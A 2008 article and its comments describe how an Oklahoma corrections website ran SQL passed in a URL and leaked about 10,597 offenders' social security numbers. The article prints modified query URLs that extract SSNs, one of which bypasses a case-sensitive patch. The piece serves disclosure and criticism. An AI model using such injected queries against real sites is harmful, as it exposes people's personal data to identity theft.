Oklahoma Leaks Tens of Thousands of Social Security Numbers, Other Sensitive Data

by in Feature Articles on Edit

One of the cardinal rules of computer programming is to never trust your input. This holds especially true when your input comes from users, and even more so when it comes from the anonymous, general public. Apparently, the developers at Oklahoma’s Department of Corrections slept through that day in computer science class, and even managed to skip all of Common Sense 101. You see, not only did they trust anonymous user input on their public-facing website, but they blindly executed it and displayed whatever came back.

The result of this negligently bad coding has some rather serious consequences: the names, addresses, and social security numbers of tens of thousands of Oklahoma residents were made available to the general public for a period of at least three years. Up until yesterday, April 13 2008, anyone with a web browser and the knowledge from Chapter One of SQL For Dummies could have easily accessed – and possibly, changed – any data within the DOC’s databases. It took me all of a minute to figure out how to download 10,597 records – SSNs and all – from their website:

As the title of that last screenshot indicates, the records were made available through the state’s Sexual and Violent Offender Registry. For those unaware, the SVOR is a federally-mandated, publically-available registry designed to protect us from the truly horrendous specimens of humanity by forever branding those convicted of a certain crimes with a big "SO". These registries also protect us from the truly unlucky offenders, such as fornicating teenagers, children who take nude pictures of themselves, and public urinators. But I digress. Not only did Oklahoma make avaiable the SSN of those types of offenders, but that of every type of offender in their system. It was all accessible through an innocent looking link on both the SVOR and Offender search pages:

Mousing over that "Print Friendly" link revealed this rather long URL:

http://docapp8.doc.state.ok.us/pls/portal30/url/page/sor_roster?sqlString=select distinct o.offender_id,doc_number,o.social_security_number,o.date_of_birth,o.first_name,o.middle_name,o.last_name,o.sir_name,sor_data.getCD(race) race,sor_data.getCD(sex) sex,l.address1 address,l.city,l.state stateid,l.zip,l.county,sor_data.getCD(l.state) state,l.country countryid,sor_data.getCD(l.country) country,decode(habitual,'Y','habitual','') habitual,decode(aggravated,'Y','aggravated','') aggravated,l.status,x.status,x.registration_date,x.end_registration_date,l.jurisdiction from registration_offender_xref x, sor_last_locn_v lastLocn, sor_offender o, sor_location l , (select distinct offender_id from sor_location where status = 'Verified' and upper(zip) = '73064' ) h where lastLocn.offender_id(%2B) = o.offender_id and l.location_id(%2B) = lastLocn.location_id and x.offender_id = o.offender_id and x.status not in ('Merged') and x.REG_TYPE_ID = 1 and nvl(x.admin_validated,to_date(1,'J')) >= nvl(x.entry_date,to_date(1,'J')) and x.status = 'Active' and x.status <> 'Deleted' and h.offender_id = o.offender_id order by o.last_name,o.first_name,o.middle_name&sr=yes

And, of course, following that link brought up this rather innocent-looking page:

Now, those of you even vaguely familiar with SQL SELECT statements will notice the correlation. The absurdly long URL contained the database query used to display the page's data. The SELECT also included a few non-displayed columns such as "social_security_number" and "date_of_birth", and even had several conditionals to make sure that only Active records were returned. It doesn't take too much SQL knowledge to display "social_security_number" instead of "doc_number", remove the conditionals, and create a URL like this...

http://docapp8.doc.state.ok.us/pls/portal30/url/page/sor_roster?sqlString=select distinct o.offender_id,o.social_security_number doc_number,o.social_security_number,o.date_of_birth,o.first_name,o.middle_name,o.last_name,o.sir_name,sor_data.getCD(race) race,sor_data.getCD(sex) sex,l.address1 address,l.city,l.state stateid,l.zip,l.county,sor_data.getCD(l.state) state,l.country countryid,sor_data.getCD(l.country) country,decode(habitual,'Y','habitual','') habitual,decode(aggravated,'Y','aggravated','') aggravated,l.status,x.status,x.registration_date,x.end_registration_date,l.jurisdiction from registration_offender_xref x, sor_last_locn_v lastLocn, sor_offender o, sor_location l where lastLocn.offender_id(%2B) = o.offender_id and l.location_id(%2B) = lastLocn.location_id and x.offender_id = o.offender_id order by o.last_name,o.first_name,o.middle_name&sr=yes

Following that URL loaded a 7MB page filled with 10,597 records, as seen in the first screen shot. It was an identity thief's dream, especially one who learned to target SO registries. According to the roster page's HTML comments, it's a wonder how many ID thiefs stumbled across this vulneability since Feb 3, 2005. 

<!--
 PORTLET: SOR_ROSTER
 Revision: lsg/dl 020305
 Bug fix: these columns have been moved from sor_offender 
 to registration_offender_xref
changing o.registration_date to x.registration_date
 o.end_registration_date to x.end_registration_date
 o.habitual to x.habitual
 o.aggravated to x.aggravated
 lsg/dl 9/19/05 public roster does not display address 
changing lstatus is null to lstatus = Verified
 lsg/dl 10/22/05 make name hyperlink to offender detail 
 lsg/dl 8/15/06 Modifications made for ADA 
 Removed search criteria list (not working)
-->

Shortly after discovering this problem (thanks to reader AJ, who hesitantly pointed it out), I spent the following day working my way up the DOC's call tree. Eventually, I found my way to George Floyd and explained how bad of an idea it was to to have a SQL query as a parameter. Fortunately, he didn't accuse me of hacking their site. In fact, he seemed appreciative and promised to pass the details along to their developers.

The following day, both the SVOR and Offender Search were taken down "for routine maintenance". Great, I figured, they discovered an overlooked hole were working to patch it up. However, when the sites came back up, I noticed that that the "print-friendly page" still had a SQL query in the URL. Putting the "social_security_number" in, however, no longer displayed social security numbers. It took me all of ten seconds to figure out a way around their fix. This slightly-modified URL brought back all 10,597 SSNs once again:

http://docapp8.doc.state.ok.us/pls/portal30/url/page/sor_roster?sqlString=select distinct o.offender_id,o.Social_security_number doc_number,o.social_security_number,o.date_of_birth,o.first_name,o.middle_name,o.last_name,o.sir_name,sor_data.getCD(race) race,sor_data.getCD(sex) sex,l.address1 address,l.city,l.state stateid,l.zip,l.county,sor_data.getCD(l.state) state,l.country countryid,sor_data.getCD(l.country) country,decode(habitual,'Y','habitual','') habitual,decode(aggravated,'Y','aggravated','') aggravated,l.status,x.status,x.registration_date,x.end_registration_date,l.jurisdiction from registration_offender_xref x, sor_last_locn_v lastLocn, sor_offender o, sor_location l where lastLocn.offender_id(%2B) = o.offender_id and l.location_id(%2B) = lastLocn.location_id and x.offender_id = o.offender_id order by o.last_name,o.first_name,o.middle_name&sr=yes

Did you spot the difference? I used "Social_security_number" instead of "social_security_number". Their brilliant developers plugged this pothole with a pebble by doing nothing more than a case-sensisitve search/replace of "social_security_number" with "doc_number". Clearly, they had no idea why it was so bad to let any SELECT anything from their databases.

I emailed George again, this time explaining the problem much more clearly and advising in BOLD, RED, CAPS that the "roster page" should be taken down immediately. I also demonstrated the power of the ALL_TABLES table, the contents of an "interesting" table named MSD_MONTHLY_MEDICAL_ACTIVITY, and how even their information was available for all to see:

That, aparently, did the trick. Soon thereafter, the sites underwent "routine maintenance" and the "roster pages" were no more. I guess they weren't too thrilled about having their personal data up on the 'net for all to see.

[Advertisement] BuildMaster allows you to create a self-service release management platform that allows different teams to manage their applications. Explore how!

Featured Comments

  • pauldwaite (unregistered)

    Maybe Oklahoma should start an online registry of the idiot developers who put this system together, and the managers who let them.

  • (cs)

    When a corporation does this, they take a huge hit in the form of lawsuits, stock drops, and lost business. When the government does it, it's a big brouhaha news story, maybe one person gets fired, and then it's back to business as usual.

  • (cs) in reply to anon
    anon:
    Wow, and I live in Oklahoma... thankfully I've never had a reason to be registered in such a database, but still... makes me wonder what else my great state may be doing in the realm of WTF.
    April 12, I added your name to the list with a properly formed URL.
  • (cs) in reply to EPE
    EPE:
    Please, do not go to "Advanced Search" at Goolge, and do not look for pages containing SELECT FROM WHERE in the URL... Please, do not do it, oh please!
    Thanks. I pressed your "Do Not Press" button, and now my faith in humanity is at an all-time low.
  • (cs) in reply to MadJo@Work
    MadJo@Work:
    Euhm, Alex, the blurring of the email addresses in that last picture doesn't really work, I can figure almost all of them out. Might want to use a black pen next time instead of blurring. The Social Security numbers are blurred a bit better, but still it would be better still to use a black pen in whatever photo editing program you are using,

    I'd be very impressed if someone managed to unblur the numbers from the first image. Of course, they'd just learn that not all obscured things have useful data behind them (such as that pdf from Not Too Particular), but I bet it'd be a fun exercise.

    And yes, I suppose I could have blurred the emails a bit better. Then again, just about all of them are in the DOC's office directory or the various sherrif departments' contact pages. I guess I'll go blur those y#######om addresses... because, you know, random y#######om addresses are so hard to find, and there's so much damage one can do knowing one.

  • anonymously evil (unregistered)

    I "have personal knowledge" of the I.T. department at Oklahoma DOC. The guy that wrote their Sex Offender Registry system was a contractor. He was with a company that no longer exists. He was NOT a competent programmer.

    The administration at DOC has not supported the I.T. department in many years. They play the blame game, and usually get away with it. George Floyd probably didn't report the FIRST phone call to the idiot he works for. That will give them an excuse to use Mr Floyd as a scapegoat. Agency Director Justin Jones has seen the I.T. department as a personal enemy for a long time - not realizing that he is blaming the wrong people for the problems there.

    The I.T. staff at Oklahoma DOC are not the villains here. The fault lies with Directors and Deputy Directors.....

    BTW, have a look at this link: http://www.okhouse.gov/Documents/OKRVSDFinalReport080103.pdf

    Have a look at the part on Information Technology. (page 231 on...)

  • Anonymous (unregistered)

    Looks like they need this consultant quick!

    Oklahoma DCS Central Purchasing Division Status: Open Bid Number: 1310002506 Description: Department of Corrections is soliciting proposals from vendors to provide consultant services to assist DOC in determining requirements, direction, and the acquisition of a new offender management system.
    Buyer: Liza Hanke

    Find on http://www.dcs.state.ok.us/Solicitations.nsf, or direct link

  • (cs)

    From the article:

    ... names, addresses, and social security numbers of tens of thousands of Oklahoma residents were made available to the general public for a period of at least three years.

    This appears to me to be the worst part of this story.

  • SKFox (unregistered)

    http://newsok.com/article/3230675/1208345421

    The bloggers used certain search parameters to troll for the information.

    captcha: validus

    Certainly not...

  • Let's keep that quiet (unregistered)

    I recieved notification about this breach of security today. Just today. Though the form letter is dated April 18, 2008; it is post marked 05/09/2008.

    This notification gives the politically correct version of your statement. They are pretty sure a breach happened, that I was included in it and then the definitions and law concerning such an event.

    It never says by whom, for what purpose. Who was negligent, what was to be done about it and how that information was presented at that time.

    You see, I fall into a rather unique category, whereby my crime does NOT fall into the category of requiring you to register as a sex offender. HOwever, the written words on my records appear to indicate that I should and during the suspended part of my sentence I was actually required to register. After eight months of being registered as a sex offender and fighting the status legally to no avail, I voluntarily returned to serve my remaining time and was released without the registration requirement.

    I have since been arrested by local authorities for failure to register (without incident but due to a 'sweep' of an area of town I live in)and that charge was dismissed after waiting 54 days in jail for that determination.

    So now I get this vague notice that someone who was not supposed to, got some information that was not supposed to be made public and did what with it I don't know.

    I have had a hard enough time dealing with the public information that is misleading, yet publicly available. I can only imagine what could be taking place with information that was legally supposed to have been protected.

  • ok rso (unregistered)

    I am on the Oklahoma registry, and got this in the mail today (May 12) from the Oklahoma DOC:

    April 18, 2008 NOTICE According to Oklahoma law, a state agency owning computerized data that contains personal information must inform any Oklahoma resident when there is reasonable basis to believe that such personal information may have been acquired by an unauthorized person. The Oklahoma Department of Corrections has a reasonable basis to believe that your personal information may have been acquired by an unauthorized person on or about April 10, 2008.

    The law defines "breach of the security of the "System" as unauthorized acquisition of computerized data that compromises the security, confidentiality, or integrity of personal information maintained by the state agency, board, commission or other unit or subdivision of state government.

    "Personal information" means the first name or first initial and last name of an individual in combination with any one or more of the following data elements: social security number, driver license number, or account number, credit or debit card number, in combination with any required security code, access code, or password that would permit access to the financial account of an individual.

    This notice is provided in compliance with 74 O.S. § 3 113. 1. Please be advised that the agency is working diligently to prevent further security breaches. If you have questions, please go to www.doc.state.ok.us and access the appropriate link.

    They're "working diligently" to prevent further security breaches... gee, I feel safer already :rolleyes:

AltStyle によって変換されたページ (->オリジナル) /